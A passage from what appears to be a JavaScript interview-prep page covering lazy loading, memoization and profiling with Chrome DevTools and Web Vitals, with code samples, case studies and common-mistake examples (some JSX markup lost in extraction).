const Analytics = lazy(() => import("./pages/Analytics"));

function App() {
    return (
        <BrowserRouter>
            <Suspense fallback={<LoadingSpinner />}>
                <Routes>
                    <Route path="/dashboard" element={<Dashboard />} />
                    <Route path="/settings" element={<Settings />} />
                    <Route path="/analytics" element={<Analytics />} />
                </Routes>
            </Suspense>
        </BrowserRouter>
    );
}

// ── Dynamic import for heavy libraries ──
async function generatePDF(data) {
    // pdf-lib is 500KB — only load when user clicks "Export PDF"
    const { PDFDocument } = await import("pdf-lib");
    const doc = await PDFDocument.create();
    // ... generate PDF
}

// ── Intersection Observer for infinite scroll ──
function infiniteScroll(loadMore) {
    const sentinel = document.getElementById("scroll-sentinel");

    const observer = new IntersectionObserver(async (entries) => {
        if (entries[0].isIntersecting) {
            const newItems = await loadMore();
            if (newItems.length === 0) {
                observer.disconnect(); // no more data
            }
        }
    });

    observer.observe(sentinel);
}

// ── Preloading for anticipated navigation ──
// Preload on hover (user likely to click)
document.querySelectorAll("a[data-preload]").forEach(link => {
    link.addEventListener("mouseenter", () => {
        const href = link.getAttribute("href");
        // Preload the chunk
        import(`./pages/${href}`);
    }, { once: true });
});

// Link preload hint
// <link rel="preload" href="critical.js" as="script">
// <link rel="prefetch" href="next-page.js">  ← low priority, for future navigation

A media-heavy product page loaded 80 images upfront (12MB total), causing 8-second load times on mobile. Adding native loading="lazy" to below-the-fold images and route-based code splitting reduced initial load to 1.2 seconds and data transfer by 85%. LCP improved from 6.2s to 1.8s.

Lazy load images with loading="lazy" or IntersectionObserver. Code-split routes with dynamic import() and React.lazy. Lazy-load heavy libraries on demand. Preload anticipated resources on hover. Target: load only what's needed for the current view.
⚠️ Common Mistake

Candidates lazy-load above-the-fold content, hurting LCP:

❌ Wrong — lazy loading hero image
<!-- Hero image is above the fold — lazy loading delays LCP! -->
<img src="hero.jpg" loading="lazy" alt="Hero">
<!-- Browser waits until scroll to load it, but user sees it immediately -->
✅ Correct — eager load above-fold, lazy load below
<!-- Above fold: eager load (default) + preload for priority -->
<link rel="preload" as="image" href="hero.jpg">
<img src="hero.jpg" loading="eager" alt="Hero" fetchpriority="high">

<!-- Below fold: lazy load -->
<img src="product.jpg" loading="lazy" alt="Product">
🔁 Follow-Up Question

What is the difference between preload, prefetch, and preconnect? When do you use each?

39 How does memoization work and when should you use it? performance

Memoization is a technique that caches the results of expensive function calls and returns the cached result when the same inputs occur again. It's a time-space tradeoff — use more memory to avoid repeated computation.

Memoization works best for pure functions (same inputs always produce same outputs, no side effects). It's pointless for functions with different results each call (e.g., Math.random, Date.now) or functions with side effects (API calls, DOM updates).

In React, memoization is critical: React.memo() (skip re-render if props unchanged), useMemo() (cache computed values), useCallback() (cache function references). Misusing these adds overhead without benefit — profile before memoizing.

// ── Basic memoization ──
function memoize(fn) {
    const cache = new Map();
    return function(...args) {
        const key = JSON.stringify(args);
        if (cache.has(key)) {
            console.log(`Cache hit for ${key}`);
            return cache.get(key);
        }
        const result = fn.apply(this, args);
        cache.set(key, result);
        return result;
    };
}

// Expensive computation
const fibonacci = memoize(function fib(n) {
    if (n < 2) return n;
    return fibonacci(n - 1) + fibonacci(n - 2);
});

console.log(fibonacci(40)); // Instant with memoization
// Without: 2^40 recursive calls (~1.1 trillion operations)
// With:    40 unique calls + cache hits

// ── Memoize with max cache size (LRU) ──
function memoizeLRU(fn, maxSize = 100) {
    const cache = new Map();
    return function(...args) {
        const key = JSON.stringify(args);
        if (cache.has(key)) {
            const value = cache.get(key);
            cache.delete(key);
            cache.set(key, value); // move to end (most recent)
            return value;
        }
        const result = fn.apply(this, args);
        cache.set(key, result);
        if (cache.size > maxSize) {
            cache.delete(cache.keys().next().value); // delete oldest
        }
        return result;
    };
}

// ── React memoization ──
// React.memo: skip re-render if props unchanged
const ExpensiveList = React.memo(function ExpensiveList({ items, onSelect }) {
    return items.map(item => (
        <li key={item.id} onClick={() => onSelect(item.id)}>
            {expensiveFormat(item)}
        </li>
    ));
});

// useMemo: cache computed value
function Dashboard({ transactions }) {
    // Only recalculate when transactions change
    const summary = useMemo(() => {
        return transactions.reduce((acc, t) => {
            acc.total += t.amount;
            acc.count++;
            acc.categories[t.category] = (acc.categories[t.category] || 0) + t.amount;
            return acc;
        }, { total: 0, count: 0, categories: {} });
    }, [transactions]);

    return <SummaryCard data={summary} />;
}

// useCallback: cache function reference
function ParentComponent({ userId }) {
    // Without useCallback: new function every render → child re-renders
    const handleDelete = useCallback((itemId) => {
        deleteItem(userId, itemId);
    }, [userId]); // only recreate if userId changes

    return <ItemList onDelete={handleDelete} />;
}

// ── When NOT to memoize ──
// 1. Cheap operations (simple math, string ops)
// 2. Functions called with unique args every time
// 3. Functions with side effects
// 4. React: primitive props (string, number) — comparison is cheap already

A data analytics dashboard recalculated 50K-row aggregations on every filter change, taking 800ms per update. Memoizing the aggregation function (keyed by filter hash) reduced subsequent filter changes to 2ms — only the first unique filter combination triggered real computation.

Memoization caches results of pure functions by input. Use it for expensive computations called repeatedly with same args. In React: React.memo for components, useMemo for values, useCallback for functions. Always profile first — premature memoization adds complexity.
⚠️ Common Mistake

Candidates wrap everything in useMemo/useCallback without measuring, adding overhead without benefit:

❌ Wrong — memoizing cheap operations
function Profile({ user }) {
    // useMemo overhead > string concatenation cost!
    const fullName = useMemo(() => `${user.first} ${user.last}`, [user.first, user.last]);
    // useCallback for function that doesn't go to memoized child
    const log = useCallback(() => console.log("clicked"), []);
    return 
{fullName}
; }
✅ Correct — only memoize when there's a measurable benefit
function Profile({ user }) {
    const fullName = `${user.first} ${user.last}`; // cheap — no memo needed
    return 
console.log("clicked")}>{fullName}
; } // Use React DevTools Profiler to identify ACTUAL slow renders before memoizing
🔁 Follow-Up Question

What is the difference between useMemo and useCallback? When would you use each?

40 How do you use Chrome DevTools to profile and fix performance issues? performance

Chrome DevTools provides several panels for performance analysis: Performance (CPU profiling, flame charts, frame timing), Memory (heap snapshots, allocation timelines), Lighthouse (automated audits with scores), Network (request waterfalls, bundle sizes), and Coverage (unused JS/CSS detection).

The Performance panel is the most powerful: record a session, then analyse the flame chart (shows function call hierarchy and timing), main thread activity, layout/paint events, and long tasks (>50ms blocks). Look for: long tasks, excessive reflows, large bundles, and slow API calls.

Workflow: Lighthouse for overall score → Performance panel to identify bottlenecks → Coverage to find unused code → Network for request optimization → Memory for leak detection.

// ── Performance API (programmatic profiling) ──

// Mark specific operations
performance.mark("fetch-start");
const data = await fetch("/api/heavy-endpoint").then(r => r.json());
performance.mark("fetch-end");
performance.measure("API fetch", "fetch-start", "fetch-end");

performance.mark("render-start");
renderDashboard(data);
performance.mark("render-end");
performance.measure("Dashboard render", "render-start", "render-end");

// Read measurements
const measures = performance.getEntriesByType("measure");
measures.forEach(m => {
    console.log(`${m.name}: ${m.duration.toFixed(2)}ms`);
});
// "API fetch: 342.50ms"
// "Dashboard render: 128.30ms"

// ── PerformanceObserver (auto-detect slow operations) ──
const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
        if (entry.duration > 100) {
            console.warn(`Slow operation: ${entry.name} (${entry.duration.toFixed(0)}ms)`);
            // Send to analytics
            sendToMonitoring({
                metric: "slow_operation",
                name: entry.name,
                duration: entry.duration,
            });
        }
    }
});
observer.observe({ entryTypes: ["measure", "longtask"] });

// ── Long Task detection ──
const longTaskObserver = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
        console.warn(`Long task detected: ${entry.duration.toFixed(0)}ms`);
        // Long tasks (>50ms) block the main thread
        // They cause jank, missed frames, and poor FID
    }
});
longTaskObserver.observe({ entryTypes: ["longtask"] });

// ── Web Vitals measurement ──
// LCP (Largest Contentful Paint) — < 2.5s good
new PerformanceObserver((list) => {
    const entries = list.getEntries();
    const lcp = entries[entries.length - 1];
    console.log(`LCP: ${lcp.startTime.toFixed(0)}ms`);
}).observe({ type: "largest-contentful-paint", buffered: true });

// FID (First Input Delay) — < 100ms good
new PerformanceObserver((list) => {
    list.getEntries().forEach(entry => {
        console.log(`FID: ${entry.processingStart - entry.startTime}ms`);
    });
}).observe({ type: "first-input", buffered: true });

// CLS (Cumulative Layout Shift) — < 0.1 good
let clsScore = 0;
new PerformanceObserver((list) => {
    list.getEntries().forEach(entry => {
        if (!entry.hadRecentInput) { // ignore user-triggered shifts
            clsScore += entry.value;
        }
    });
    console.log(`CLS: ${clsScore.toFixed(4)}`);
}).observe({ type: "layout-shift", buffered: true });

// ── DevTools workflow ──
// 1. Lighthouse tab → run audit → get overall scores and specific recommendations
// 2. Performance tab → record → identify long tasks in flame chart
//    - Yellow = JS execution, Purple = layout, Green = paint
//    - Red bar = long task (>50ms) — click to see call stack
// 3. Coverage tab (Cmd+Shift+P → "Show Coverage") → find unused JS/CSS
//    - Red = unused code, Blue = used code
//    - Target: remove or lazy-load unused code
// 4. Network tab → sort by size → identify large bundles
//    - Use source maps to see module sizes
// 5. Memory tab → heap snapshots → compare to find leaks
//    - Take snapshot 1 → perform action → take snapshot 2 → compare

A social media feed had 4-second Time to Interactive. Chrome DevTools Performance tab revealed: 1.2s parsing a 800KB JS bundle (→ code splitting reduced to 200KB), 600ms layout thrashing in the feed renderer (→ batch reads/writes), and 800ms from synchronous third-party analytics (→ async loading). Total TTI dropped to 1.1 seconds.

Use Lighthouse for overall scores, Performance panel for CPU profiling (flame charts), Coverage for unused code, Memory for leak detection. The Performance API lets you measure custom operations programmatically. Focus on Long Tasks (>50ms) and Core Web Vitals (LCP <2.5s, FID <100ms, CLS <0.1).
⚠️ Common Mistake

Candidates optimize without profiling — guessing instead of measuring:

❌ Wrong — optimizing without data
// "I'll memoize everything and use Web Workers"
// Spends 2 days optimizing code that takes 5ms
// Meanwhile, a 2MB image on the homepage goes unnoticed
// and a render-blocking CSS file delays FCP by 3 seconds
✅ Correct — measure first, optimize the actual bottleneck
// 1. Run Lighthouse → "Reduce unused JavaScript: 400KB"
// 2. Performance panel → "Long task: parseAnalytics() 800ms"
// 3. Network tab → "hero-image.png: 2.1MB"
// Now you know: optimize image, code-split JS, async-load analytics
// 80% improvement with 3 targeted fixes
🔁 Follow-Up Question

What are the Core Web Vitals and how do you optimize each one (LCP, FID, CLS)?

Frequently Asked Questions

Written and reviewed by the FreeBytes Editorial Team · Last updated: June 2026